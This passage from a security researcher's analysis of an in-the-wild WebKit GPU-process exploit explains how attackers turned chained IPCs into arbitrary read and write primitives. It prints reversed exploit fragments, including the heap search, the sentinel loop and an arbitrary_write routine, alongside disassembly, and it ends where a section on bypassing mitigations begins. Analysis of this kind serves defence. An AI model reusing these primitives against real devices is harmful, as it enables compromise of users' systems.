class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Specifically, that symbol is the constant </span><span class="YrefKOOkxY-c3">StringImpl</span><span> object for the "</span><span class="YrefKOOkxY-c3">audio/mp4</span><span class="YrefKOOkxY-c5">" string returned by reference from this function:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">const String&</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">MediaRecorderPrivateWriter::mimeType() const {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> static NeverDestroyed<const String> </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> audioMP4(MAKE_STATIC_STRING_IMPL("audio/mp4"));</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> static NeverDestroyed<const String></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> videoMP4(MAKE_STATIC_STRING_IMPL("video/mp4"));</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return m_hasVideo ? videoMP4 : audioMP4;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Concretely this is a </span><span class="YrefKOOkxY-c3">StringImplShape</span><span class="YrefKOOkxY-c5"> object with this layout:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">class STRING_IMPL_ALIGNMENT StringImplShape {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> unsigned m_refCount;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> unsigned m_length;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> union {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const LChar* m_data8;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const UChar* m_data16;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const char* m_data8Char;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> const char16_t* m_data16Char;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> };</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mutable unsigned m_hashAndFlags;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">};</span></p><h3 class="YrefKOOkxY-c6" id="h.vjez36jznvru"><span class="YrefKOOkxY-c10">Arbitrary read IPC 3: SetCTM</span></h3> <p class="YrefKOOkxY-c2"><span>The next IPC is </span><span class="YrefKOOkxY-c3">RemoteDisplayListRecorder::SetCTM</span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">messages -> RemoteDisplayListRecorder NotRefCounted Stream {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> SetCTM(WebCore::AffineTransform ctm) StreamBatched</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">CTM</span><span> is the "Current Transform Matrix" and the </span><span class="YrefKOOkxY-c3">WebCore::AffineTransform</span><span class="YrefKOOkxY-c5"> object passed as the argument is a simple struct with 6 double values defining an affine transformation.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">The exploit IPC wrapper function takes two arguments in addition to the image buffer id, and from the surrounding context it's clear that they must be a length and pointer for the arbitrary read:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">IPC_RemoteDisplayListRecorder_SetCTM(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> candidate_corrupted_target_image_buffer_id,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> (read_this_much << 32) | 0x100,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> read_from_here);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The wrapper passes those two 64-bit values as the first two "doubles" in the IPC. On the receiver side the implementation doesn't do much apart from directly store those affine transform parameters into the </span><span class="YrefKOOkxY-c3">CGContext</span><span>'s </span><span class="YrefKOOkxY-c3">CGState</span><span class="YrefKOOkxY-c5"> object:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">setCTM(const WebCore::AffineTransform& transform) final</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> GraphicsContextCG::setCTM(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_inverseImmutableBaseTransform * transform);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">GraphicsContextCG::setCTM(const AffineTransform& transform)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CGContextSetCTM(platformContext(), transform);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_data->setCTM(transform);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> m_data->m_userToDeviceTransformKnownToBeIdentity = false;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Reversing </span><span class="YrefKOOkxY-c3">CGContextSetCTM</span><span> we see that the transform is just stored into a </span><span class="YrefKOOkxY-c3">0x30</span><span> byte field at offset </span><span class="YrefKOOkxY-c3">+0x18</span><span> in the </span><span class="YrefKOOkxY-c3">CGContext</span><span>'s </span><span class="YrefKOOkxY-c3">CGGState</span><span> object (at </span><span class="YrefKOOkxY-c3">+0x60</span><span> in the </span><span class="YrefKOOkxY-c3">CGContext</span><span class="YrefKOOkxY-c5">):</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CD4 EXPORT _CGContextSetCTM </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CD4 MOV X8, X0</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CD8 CBZ X0, loc_188B55D0C</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CDC LDR W9, [X8,#0x10]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CE0 MOV W10, #'CTXT'</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CE8 CMP W9, W10</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CEC B.NE loc_188B55D0C</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CF0 LDR X8, [X8,#0x60]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CF4 LDP Q0, Q1, [X1]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CF8 LDR Q2, [X1,#0x20]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55CFC STUR Q2, [X8,#0x38]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55D00 STUR Q1, [X8,#0x28]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55D04 STUR Q0, [X8,#0x18]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">188B55D08 RET</span></p><h3 class="YrefKOOkxY-c6" id="h.v6tfktqkjh0f"><span class="YrefKOOkxY-c10">Arbitrary read IPC 4: FillRect</span></h3> <p class="YrefKOOkxY-c2"><span>This IPC takes a similar path to the </span><span class="YrefKOOkxY-c3">DrawNativeImage</span><span> IPC discussed earlier. It allocates a new buffer from the corrupted </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> with the value returned by </span><span class="YrefKOOkxY-c3">CA::CG::Queue::alloc</span><span> this time now pointing 8 bytes below the "</span><span class="YrefKOOkxY-c3">audio/mp4</span><span>" </span><span class="YrefKOOkxY-c3">StringImpl</span><span>. </span><span class="YrefKOOkxY-c3">FillRect</span><span class="YrefKOOkxY-c5"> eventually reaches this code </span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">CA::CG::DrawOp::DrawOp(slab_ptr, a1, a3, CGGState, a5, v24);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CTM_2 = (_OWORD *)CGGStateGetCTM_2(CGGGState);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v13 = CTM_2[1];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> v12 = CTM_2[2];</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> *(_OWORD *)(slab_ptr + 8) = *CTM_2;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> *(_OWORD *)(slab_ptr + 0x18) = v13;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> *(_OWORD *)(slab_ptr + 0x28) = v12;</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>…which just directly copies the 6 </span><span class="YrefKOOkxY-c3">CTM</span><span> doubles to offset </span><span class="YrefKOOkxY-c3">+8</span><span> in the allocation returned by the corrupted </span><span class="YrefKOOkxY-c3">QueueSlab</span><span>, which overlaps completely with the </span><span class="YrefKOOkxY-c3">StringImpl</span><span class="YrefKOOkxY-c5">, corrupting the string length and buffer pointer.</span></p><h3 class="YrefKOOkxY-c6" id="h.ot40gdnkfnyh"><span class="YrefKOOkxY-c10">Arbitrary read IPC 5: CreateRecorder</span></h3> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">messages -> RemoteMediaRecorderManager NotRefCounted {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CreateRecorder(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> WebKit::MediaRecorderIdentifier id,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bool hasAudio,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> bool hasVideo,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> struct WebCore::MediaRecorderPrivateOptions options)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> -></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ( std::optional<WebCore::ExceptionData> creationError,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> String mimeType,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> unsigned audioBitRate,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> unsigned videoBitRate)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ReleaseRecorder(WebKit::MediaRecorderIdentifier id)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">CreateRecorder</span><span> IPC returns, among other things, the contents of the </span><span class="YrefKOOkxY-c3">mimeType</span><span> </span><span class="YrefKOOkxY-c3">String</span><span> which </span><span class="YrefKOOkxY-c3">FillRect</span><span class="YrefKOOkxY-c5"> corrupted to point to an arbitrary location, yielding the arbitrary read primitive.</span></p><h3 class="YrefKOOkxY-c6" id="h.23fai3fxyl82"><span class="YrefKOOkxY-c10">What to read?</span></h3> <p class="YrefKOOkxY-c2"><span>Recall that the </span><span class="YrefKOOkxY-c3">cacheNativeImage</span><span> operation was sandwiched between the allocation of 400 </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span> objects via the </span><span class="YrefKOOkxY-c3">RemoteDevice::CreateBuffer</span><span class="YrefKOOkxY-c5"> IPC.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Note that earlier (for the </span><span class="YrefKOOkxY-c3">MapAsync</span><span>/</span><span class="YrefKOOkxY-c3">Unmap</span><span> corruption) it was the backing buffer pages of the RemoteBuffer which were the groom target - that's not the case for the memory disclosure. The target is instead the </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span> object which is the wrapper object which points to those backing pages. These are also allocated by during the </span><span class="YrefKOOkxY-c3">RemoteDevice::CreateBuffer</span><span> IPC calls. Crucially, these wrapper objects are allocated by the default malloc implementation, which is </span><span class="YrefKOOkxY-c3">malloc_zone_malloc</span><span> using the default ("scalable") zone. </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://twitter.com/elvanderb">@elvanderb</a></span><span> covered the operation of this heap allocator in their </span><span class="YrefKOOkxY-c1"><a class="YrefKOOkxY-c121" href="https://www.synacktiv.com/ressources/Sthack_2018_Heapple_Pie.pdf">"Heapple Pie" presentation</a></span><span>. Provided that the targeted allocation size's freelist is empty this zone will allocate upwards, making it likely that the </span><span class="YrefKOOkxY-c3">NativeImage</span><span> and </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span class="YrefKOOkxY-c5"> objects will be near each other in virtual memory.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They use the arbitrary read primitive to read 3 pages of data from the GPU process, starting from the address of the cached </span><span class="YrefKOOkxY-c3">NativeImage</span><span> and they search for a pointer to the </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span class="YrefKOOkxY-c5"> Objective-C isa pointer (masking out any PAC bits):</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for ( ii = 0; ii < 0x1800; ++ii ) { </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( ((leaker_buffer_contents[ii] >> 8) & 0xFFFFFFFF0LL) ==</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> (AGXMetalG15::_OBJC_CLASS___AGXG15FamilyBuffer & 0xFFFFFFFF0LL) )</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">...</span></p><h3 class="YrefKOOkxY-c6" id="h.cug608urk16w"><span class="YrefKOOkxY-c10">What to write?</span></h3> <p class="YrefKOOkxY-c2"><span>If the search is successful they now know the absolute address of one of the </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span> objects - but at this point they don't know which of the </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span class="YrefKOOkxY-c5"> objects it corresponds to..</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They use the same </span><span class="YrefKOOkxY-c3">Map</span><span>/</span><span class="YrefKOOkxY-c3">Unmap</span><span>/</span><span class="YrefKOOkxY-c3">SetCTM</span><span>/</span><span class="YrefKOOkxY-c3">FillRect</span><span> IPCs as in the setup for the arbitrary read to write the address of </span><span class="YrefKOOkxY-c3">WTF::ObjectIdentifierBase::generateIdentifierInternal_void_::current</span><span> (the monotonic unique id counter seen earlier) into the field at </span><span class="YrefKOOkxY-c3">+0x98</span><span> of the </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span class="YrefKOOkxY-c5">.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Looking at the class hierarchy of </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span> (</span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer : AGXBuffer : IOGPUMetalBuffer : IOGPUMetalResource : _MTLResource : _MTLObjectWithLabel : NSObject</span><span>) we find that </span><span class="YrefKOOkxY-c3">+0x98</span><span> is the </span><span class="YrefKOOkxY-c3">virtualAddress</span><span> property of </span><span class="YrefKOOkxY-c3">IOGPUMetalResource</span><span class="YrefKOOkxY-c5">.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">@interface IOGPUMetalResource : _MTLResource <MTLResourceSPI> {</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOGPUMetalResource* _res;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOGPUMetalResource* next;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOGPUMetalResource* prev;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> unsigned long long uniqueId;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">@property (readonly) _IOGPUResource* resourceRef; </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">@property (nonatomic,readonly) void* virtualAddress; </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">@property (nonatomic,readonly) unsigned long long gpuAddress; </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">@property (nonatomic,readonly) unsigned resourceID; </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">@property (nonatomic,readonly) unsigned long long resourceSize; </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">@property (readonly) unsigned long long cpuCacheMode; </span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>I mentioned earlier that the destination pointer for the </span><span class="YrefKOOkxY-c3">MapAsync</span><span>/</span><span class="YrefKOOkxY-c3">Unmap</span><span> bad </span><span class="YrefKOOkxY-c3">memcpy</span><span> was calculated from a buffer property called </span><span class="YrefKOOkxY-c3">contents</span><span>, not </span><span class="YrefKOOkxY-c3">virtualAddress</span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3"> return static_cast<char*>(</span><span class="YrefKOOkxY-c3 YrefKOOkxY-c7">m_buffer.contents</span><span class="YrefKOOkxY-c3">) + offset;</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Dot syntax in Objective-C is syntactic sugar around calling an accessor method and the </span><span class="YrefKOOkxY-c3">contents</span><span> </span><span>accessor</span><span> directly calls the </span><span class="YrefKOOkxY-c3">virtualAddress</span><span class="YrefKOOkxY-c5"> accessor, which returns the virtualAddress field:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">void* -[IOGPUMetalBuffer contents]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> B _objc_msgSend$virtualAddress_1<br></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[IOGPUMetalResource virtualAddress]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">ADRP X8, #_OBJC_IVAR_$_IOGPUMetalResource._res@PAGE</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">LDRSW X8, [X8,#_OBJC_IVAR_$_IOGPUMetalResource._res@PAGEOFF] ; 0x18</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">ADD X8, X0, X8</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">LDR X0, [X8,#0x80]</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">RET</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They then loop through each of the candidate </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span> objects, mapping the beginning then unmapping with an 8 byte buffer, causing a write of a sentinel value through the potentially corrupted </span><span class="YrefKOOkxY-c3">IOGPUMetalResource::virtualAddress</span><span class="YrefKOOkxY-c5"> field:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for ( jj = 200; jj < 400; ++jj )</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> sentinel = 0x3A30DD9DLL;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteBuffer_MapAsync(remote_device_after_base_id + jj, 0LL, 0LL);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteBuffer_Unmap(remote_device_after_base_id + jj, &sentinel, 8LL);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> semaphore_signal(semaphore_a);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> CDM = IPC_RemoteCDMFactoryProxy_CreateCDM();</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if ( CDM >= 0x3A30DD9E && CDM <= 0x3A30DF65 ) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ...</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>After each write they request a new </span><span class="YrefKOOkxY-c3">CDM</span><span> and look to see whether they got a resource ID near the sentinel value they set - if so then they've found a </span><span class="YrefKOOkxY-c3">RemoteBuffer</span><span class="YrefKOOkxY-c5"> whose virtual address they can completely control!</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">They store this id and use it to build their final arbitrary write primitive with 6 IPCs:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">arbitrary_write(u64 ptr, u64 value_ptr, u64 size) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteBuffer_MapAsync(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> remote_device_buffer_id_base + index_of_corruptor,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0x4000LL, 0LL);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> wrap_remote_buffer_unmap(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> remote_device_buffer_id_base + index_of_corruptor,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> agxg15familybuffer_plus_0x80);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteDisplayListRecorder_SetCTM(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> candidate_corrupted_target_image_buffer_id,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> ptr,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0LL);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteDisplayListRecorder_FillRect(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> candidate_corrupted_target_image_buffer_id);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteBuffer_MapAsync(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> device_id_with_corrupted_backing_buffer_ptr, 0LL, 0LL);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IPC_RemoteBuffer_Unmap(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> device_id_with_corrupted_backing_buffer_ptr, value_ptr, size);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The first </span><span class="YrefKOOkxY-c3">MapAsync</span><span>/</span><span class="YrefKOOkxY-c3">Unmap</span><span> corrupt the original </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> to point the </span><span class="YrefKOOkxY-c3">buffer</span><span> pointer to </span><span class="YrefKOOkxY-c3">0x18</span><span> bytes below the address of the </span><span class="YrefKOOkxY-c3">virtualAddress</span><span> field of an </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span class="YrefKOOkxY-c5">.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">SetCTM</span><span> and </span><span class="YrefKOOkxY-c3">FillRect</span><span> then cause the arbitrary write target pointer value to be written through the corrupted </span><span class="YrefKOOkxY-c3">QueueSlab</span><span> allocation to replace the </span><span class="YrefKOOkxY-c3">AGXG15FamilyBuffer</span><span>'s </span><span class="YrefKOOkxY-c3">virtualAddress</span><span class="YrefKOOkxY-c5"> member.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The final </span><span class="YrefKOOkxY-c3">MapAsync</span><span>/</span><span class="YrefKOOkxY-c3">Unmap</span><span> pair then write through that corrupted </span><span class="YrefKOOkxY-c3">virtualAddress</span><span class="YrefKOOkxY-c5"> field, yielding an arbitrary write primitive which won't corrupt any surrounding memory.</span></p><h3 class="YrefKOOkxY-c6" id="h.70md50ilftai"><span class="YrefKOOkxY-c10">Mitigating mitigations</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">At this point the attackers have an arbitrary read/write primitive - it's surely game over. But never-the-less, the most fascinating parts of this exploit are still to come.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Remember, they are seeking not just to exploit this vulnerability; they are really seeking to minimize the overall cost of successfully exploiting as many full exploit chains as possible with the lowest marginal cost. This is typically done using custom frameworks which permit code-reuse across exploits. In this case the goal is to use some resources (IOKit userclients) which only the GPU Process has access to, but this is done in a very generic way using a custom framework requiring only a few arbitrary writes to kick off.</span><hr 